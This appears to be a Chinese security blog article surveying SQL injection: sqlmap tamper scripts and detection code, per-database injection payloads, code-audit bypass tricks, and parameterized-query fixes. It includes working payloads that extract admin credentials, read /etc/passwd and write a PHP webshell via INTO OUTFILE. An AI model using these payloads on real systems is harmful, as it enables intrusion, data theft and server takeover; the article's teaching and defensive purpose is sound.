sm0nk · 2016/06/24 10:48 php
Author:[email protected]html
打開亞馬遜,當挑選一本《Android4高級編程》時,它會不失時機的列出你可能還會感興趣的書籍,好比Android遊戲開發、Cocos2d-x引擎等,讓你的購物車又豐富了些,而錢包又空了些。關聯分析,即從一個數據集中發現項之間的隱藏關係。java
在Web攻防中,SQL注入絕對是一個技能的頻繁項,爲了技術的成熟化、自動化、智能化,咱們有必要創建SQL注入與之相關典型技術之間的關聯規則。在分析過程當中,整個規則均圍繞核心詞進行直線展開,咱們簡單稱之爲「線性」關聯。以知識點的複雜性咱們雖然稱不上爲神經網絡,但它依然像滾雪球般對知識架構進行完善升級,因此也可稱之爲雪球技術。python
本文以SQL注入爲核心,進行的資料信息整合性解讀,主要目的有:mysql
本文結構以下:git
PS:文章中使用了N多表格形式,主要是爲了更好的區別與聯繫,便於關聯分析及對比。github
說明:經過在用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料以外結果的攻擊行爲。wiki.wooyun.org/web:sqlweb
影響:數據庫增刪改查、後臺登陸、getshellsql
修復:shell
使用方法,參見烏雲知識庫。
Tamper 概覽
腳本名稱 | 做用 |
---|---|
apostrophemask.py | 用utf8代替引號 |
equaltolike.py | like 代替等號 |
space2dash.py | 繞過過濾‘=’ 替換空格字符(」),('' – ')後跟一個破折號註釋,一個隨機字符串和一個新行(’ n’) |
greatest.py | 繞過過濾’>’ ,用GREATEST替換大於號。 |
space2hash.py | 空格替換爲#號 隨機字符串 以及換行符 |
apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號。 |
halfversionedmorekeywords.py | 當數據庫爲mysql時繞過防火牆,每一個關鍵字以前添加mysql版本評論 |
space2morehash.py | 空格替換爲 #號 以及更多隨機字符串 換行符 |
appendnullbyte.py | 在有效負荷結束位置加載零字節字符編碼 |
ifnull2ifisnull.py | 繞過對 IFNULL 過濾。 替換相似’IFNULL(A, B)’爲’IF(ISNULL(A), B, A)’ |
space2mssqlblank.py | 空格替換爲其它空符號 |
base64encode.py | 用base64編碼替換 |
space2mssqlhash.py | 替換空格 |
modsecurityversioned.py | 過濾空格,包含完整的查詢版本註釋 |
space2mysqlblank.py | 空格替換其它空白符號(mysql) |
between.py | 用between替換大於號(>) |
space2mysqldash.py | 替換空格字符(」)(’ – ‘)後跟一個破折號註釋一個新行(’ n’) |
multiplespaces.py | 圍繞SQL關鍵字添加多個空格 |
space2plus.py | 用+替換空格 |
bluecoat.py | 代替空格字符後與一個有效的隨機空白字符的SQL語句。 而後替換=爲like |
nonrecursivereplacement.py | 取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(「SELECT」、」」)) filters |
space2randomblank.py | 代替空格字符(「」)從一個隨機的空白字符可選字符的有效集 |
sp_password.py | 追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾 |
chardoubleencode.py | 雙url編碼(不處理以編碼的) |
unionalltounion.py | 替換UNION ALL SELECT UNION SELECT |
charencode.py | url編碼 |
randomcase.py | 隨機大小寫 |
unmagicquotes.py | 寬字符繞過 GPC addslashes |
randomcomments.py | 用/**/分割sql關鍵字 |
charunicodeencode.py | 字符串 unicode 編碼 |
securesphere.py | 追加特製的字符串 |
versionedmorekeywords.py | 註釋繞過 |
space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
一些妙用:
流程圖
目前還未看完,先摘抄一部分(基於時間的盲注)講解:
測試應用是否存在SQL注入漏洞時,常常發現某一潛在的漏洞難以確認。這可能源於多種緣由,但主要是由於Web應用未顯示任何錯誤,於是沒法檢索任何數據。
對於這種狀況,要想識別漏洞,向數據庫注入時間延遲並檢查服務器響應是否也已經延遲會頗有幫助。時間延遲是一種很強大的技術,Web服務器雖然能夠隱藏錯誤或數據,但必須等待數據庫返回結果,所以可用它來確認是否存在SQL注入。該技術尤爲適合盲注。
使用了基於時間的盲注來對目標網址進行盲注測試,代碼以下:
#!python
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
複製代碼
重點注意Request.queryPage函數,將參數timeBasedCompare設置爲True,因此在Request.queryPage函數內部,有這麼一段代碼:
#!python
if timeBasedCompare:
return wasLastRequestDelayed()
複製代碼
而函數wasLastRequestDelayed()的功能主要是判斷最後一次的請求是否有明顯的延時,方法就是將最後一次請求的響應時間與以前全部請求的響應時間的平均值進行比較,若是最後一次請求的響應時間明顯大於以前幾回請求的響應時間的平均值,就說明有延遲。
wasLastRequestDelayed函數的代碼以下:
#!python
def wasLastRequestDelayed():
"""
Returns True if the last web request resulted in a time-delay
"""
deviation = stdev(kb.responseTimes)
threadData = getCurrentThreadData()
if deviation:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
warnMsg = "time-based standard deviation method used on a model "
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
logger.warn(warnMsg)
lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation
retVal = (threadData.lastQueryDuration >= lowerStdLimit)
if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:
adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
return retVal
else:
return (threadData.lastQueryDuration - conf.timeSec) >= 0
複製代碼
每次執行http請求的時候,會將執行所響應的時間append到kb.responseTimes列表中,但不包括time-based blind所發起的請求。
從如下代碼就能夠知道了,當timeBasedCompare爲True(即進行time-based blind注入檢測)時,直接返回執行結果,若是是其餘類型的請求,就保存響應時間。
#!python
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
複製代碼
另外,爲了確保基於時間的盲注的準確性,sqlmap執行了兩次queryPage。
若是2次的結果都爲True,那麼就說明目標網址可注入,因此將injectable 設置爲True。
/?param=1 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
/?param=1 and(1)=convert(int,@@version)--
/?param=1 and(1)=convert(int,@@version)--
/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—
/?param=1 and(1)=cast(version() as numeric)--
DB | 鏈接符 | 行註釋 | 惟一的默認表變量和函數 |
---|---|---|---|
MSSQL | %2B(URL+號編碼)(e.g. ?category=sho’%2b’es) | -- | @@PACK_RECEIVED |
MYSQL | %20 (URL空格編碼) | # | CONNECTION_ID() |
Oracle | || |
-- | BITAND(1,1) |
PGsql | || |
-- | getpgusername() |
Access | 「a」 & 「b」 | N/A | msysobjects |
SQL經常使用語句
內容 | MSSQL | MYSQL | ORACLE |
---|---|---|---|
查看版本 | select @@version | select @@version select version() | Select banner from v$version; |
當前用戶 | select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; | select user(); select system_user(); | Select user from dual |
列出用戶 | select name from master..syslogins; | select user from mysql.user; | Select username from all_users ORDER BY username; Select username from all_users; |
當前庫 | select DB_NAME(); | select database(); | Select global_name from global_name; |
列出數據庫 | select name from master..sysdatabases; | select schema_name from information_schema.schemata; | Select ower,table_name from all_users; #列出代表 |
當前用戶權限 | select is_srvolemenber(‘sysadmin’); | select grantee, privilege_type,is_grantable from information schema.user privileges; | Select * from user role_privs; Select * from user_sys_privs; |
服務器主機名 | select @@servername; | / | Select sys_context(‘USERENV’,’HOST’) from dual; |
數據 | MSSQL | Mysql | oracle |
---|---|---|---|
字符串長度 | LEN() | LENGTH() | LENGTH() |
從給定字符串中提取子串 | SUBSTRING(string,offset,length) | SELECT SUBSTR(string,offset,length) | SELECT SUBSTR(string,offset,length) From dual |
字符串(‘ABC’)不帶單引號的表示方式 | SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) | Select char(65,66,67) | Select chr(65)||chr(66)+chr(67) from dual |
觸發延時 | WAITFOR DELAY ‘0:0:9’ | BENCHMARK(1000000,MD5(「HACK」)) Sleep(10) | BEGIN DBMS_LOCK.SLEEP(5);END; --(僅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST() |
IF語句 | If (1=1) select ‘A’ else select ‘B’ | SELECT if(1=1,’A’,’B’) | / |
PS:SQLMAP 針對Oracle注入時,使用了比較費解的SUBSTRC,好多時候得中轉更改成SUBSTR.
數據庫 | 語句(大多須要配合編碼) |
---|---|
Oracle | oder by N # 爆出第一個數據庫名 and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual # 依次爆出全部數據庫名,假設第一個庫名爲first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual 爆出表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual 同理,同爆出下一個數據庫相似爆出下一個表名就不說了,可是必須注意表名用大寫或者表名大寫的十六進制代碼。 有時候咱們只想要某個數據庫中含密碼字段的表名,採用模糊查詢語句,以下: and (select column_name from user_tab_columns where column_name like '%25pass%25')<0 爆出表tablename中的第一個字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual 依次下一個字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual 若爲基於時間或者基於bool類型盲注,可結合substr 、ASCII進行賦值盲測。 若屏蔽關鍵函數,可嘗試SYS_CONTEXT('USERENV','CURRENT_USER')類用法。 |
Mysql | #正常語句 192.168.192.128/sqltest/news.php?id=1 #判斷存在注入否 192.168.192.128/sqltest/news.php?id=1 and 1=2 #肯定字段數 order by 192.168.192.128/sqltest/news.php?id=-1 order by 3 #測試回顯字段 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3 #測試字段內容 192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3 192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3 #查詢當前庫下全部表 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #查詢admin表下的字段名(16進制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e #查詢admin表下的用戶名密碼 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin #讀取系統文件(/etc/passwd,需轉換爲16進制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764) #文件寫入 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'-- PS:若權限不足,換個目錄 |
MSSQL | PS:回顯型請查閱參考資料的連接,這裏主要盲注的語法。 #爆數據庫版本(可先測長度) aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0 ps:在範圍界定時,可利用二分查找結合大於小於來利用;亦可直接賦值腳本爆破,依次類推直至最後一字母。 #爆當前數據庫名字 aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0 #爆表 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0 #爆user表內字段 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0 #爆數據 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0 |
PS:關於注入繞過(bypass),內容偏多、過細,本次暫不概括。單獨一篇
套裝組合
減小體力活的工程化
白盒的方式有兩種流,一種是檢查全部輸入,另外一種是根據危險函數反向
NO. | 概要 |
---|---|
1 | $_SERVER未轉義 |
2 | 更新時未重構更新序列 |
3 | 使用了一個未定義的常量 |
4 | PHP自編標籤與strip_tags順序邏輯繞過 |
5 | 可控變量進入雙引號 |
6 | 寬字節轉編碼過程 |
7 | mysql多表查詢繞過 |
8 | 別名as+反引號可閉合其後語句 |
9 | mysql的類型強制轉換 |
10 | 過濾條件是否有if判斷進入 |
11 | 全局過濾存在白名單 |
12 | 字符串截斷函數獲取定長數據 |
13 | 括號包裹繞過 |
14 | 弱類型驗證機制 |
15 | WAF或者過濾了and|or的狀況可使用&&與||進行盲注。 |
16 | windows下php中訪問文件名使用」<」 「>」將會被替換成」*」 「?」 |
17 | 二次urldecode注入 |
18 | 邏輯引用二次注入 |
1.$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER並無轉義,形成了注入。
2.update更新時沒有重構更新序列,致使更新其餘關鍵字段(金錢、權限)
3.在 php中 若是使用了一個未定義的常量,PHP 假定想要的是該常量自己的名字,如同用字符串調用它同樣(CONSTANT 對應 「CONSTANT」)。此時將發出一個 E_NOTICE 級的錯誤(參考php.net/manual/zh/l…)
4.PHP中自編寫對標籤的過濾或關鍵字過濾,應放在strip_tags等去除函數以後,不然引發過濾繞過。
#!php
<?php
function mystrip_tags($string)
{
$string = remove_xss($string);
$string = new_html_special_chars($string);
$string = strip_tags($string);//remove_xss在strip_tags以前調用,因此很明顯能夠利用strip_tags函數繞過,在關鍵字中插入html標記.
return $string;
}
?>
複製代碼
5.當可控變量進入雙引號中時可造成webshell所以代碼執行使用,${file_put_contents($_GET[f],$_GET[p])}能夠生成webshell。
6.寬字節轉編碼過程當中出現寬字節注入
PHP鏈接MySQL時設置set character_set_client=gbk
,MySQL服務器對查詢語句進行GBK轉碼致使反斜槓\
被%df
吃掉。
7.構造查詢語句時沒法刪除目標表中不存在字段時可以使用mysql多表查詢繞過
#!sql
select uid,password from users,admins;
(uid存在於users、password存在於admins)
複製代碼
8.mysql中(反引號)能做爲註釋符,且會自動閉合末尾沒有閉合的反引號。沒法使用註釋符的狀況下使用別名as+反引號可閉合其後語句。
9.mysql的類型強制轉換可繞過PHP中empty()函數對0的false返回
提交/?test=0axxx -> empty($_GET['test']) => 返回真
複製代碼
可是mysql中提交其0axxx到數字型時強制轉換成數字0
10.存在全局過濾時觀察過濾條件是否有if判斷進入,cms可能存在自定義safekey不啓用全局過濾。經過程序遺留或者原有界面輸出safekey致使繞過。
#!php
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}
複製代碼
11.因爲全局過濾存在白名單限定功能,可以使用無用參數帶入繞過。
$webscan_white_directory='admin|\/dede\/|\/install\/';
複製代碼
請求中包含了白名單參數因此放行。
http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx
複製代碼
12.字符串截斷函數獲取定長數據,截取\\
或\’
前一位,閉合語句。
利用條件必須是存在兩個可控參數,前閉合,後注入。
13.過濾了空格,逗號的注入,可以使用括號包裹繞過。具體如遇到select from(關鍵字空格判斷的正則,且剔除/**/等)可以使用括號包裹查詢字段繞過。
14.因爲PHP弱類型驗證機制,致使==
、in_array()
等可經過強制轉換繞過驗證。
15.WAF或者過濾了and|or的狀況可使用&&與||進行盲注。
#!sql
http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited
複製代碼
16.windows下php中訪問文件名使用」<」 「>」將會被替換成」*」 「?」,分別表明N個任意字符與1個任意字符。
file_get_contents("/images/".$_GET['a'].".jpg");
複製代碼
可以使用test.php?a=../a<%00
訪問對應php文件。
17.使用了urldecode 或者rawurldecode函數,則會致使二次解碼聲場單引號而發生注入。
#!php
<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a=' .$a;
echo '<br />';
echo '$b=' .$b;
?>
複製代碼
18.邏輯引用,致使二次注入
部分盲點
盲點以下:
附常見的SERVER變量(具體含義自行百度):
QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE
複製代碼
PS:若對注入的代碼審計有實際操類演練,參考[email protected]
1.預編譯處理
參數化查詢是指在設計與數據庫連接並訪問數據時,在須要填入數值或數據的地方,使用參數來給值。在SQL語句中,這些參數一般一佔位符來表示。
MSSQL(ASP.NET)
爲了提升sql執行速度,請爲SqlParameter參數加上SqlDbType和size屬性
#!php
SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");
reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);
reader.Close();
conn.Close();
複製代碼
PHP
#!php
// 實例化數據抽象層對象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 對 SQL 語句執行 prepare,獲得 PDOStatement 對象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 綁定參數
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查詢
$stmt->execute();
// 獲取數據
foreach($stmt as $row) {
var_dump($row);
}
複製代碼
JAVA
#!java
java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();
複製代碼
PS:儘管SQL語句大致類似,可是在不一樣數據庫的特色,可能參數化SQL語句不一樣,例如在Access中參數化SQL語句是在參數直接以「?」做爲參數名,在SQL [email protected],在MySQL中是參數有「?」前綴,在Oracle中參數以「:」爲前綴。
2.過濾函數的使用
3.框架及第三方過濾函數與類
select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--
序號 | 功能點 | 參數 |
---|---|---|
1 | 登陸 | Username password |
2 | Header | Cookie Referer x-forward remote-ip |
3 | 查詢展現 , 數據寫入(表單) , 數據更新 | id u category price str value |
4 | 數據搜素 | Key |
5 | 僞靜態 | (同3),加* |
6 | Mysql不安全配置 , Set character_set_client=gbk |
%df%27 |
7 | 傳參(橫向數據流向、縱向入庫流向) | Parameter (同3) |
8 | 訂單類多級交互、從新編輯 , 配送地址、資料編輯 | 二次注入 |
9 | APP仍調用WEB API | 同3 |
10 | 編碼urldecode base64 | Urldecode() rawurldecode() |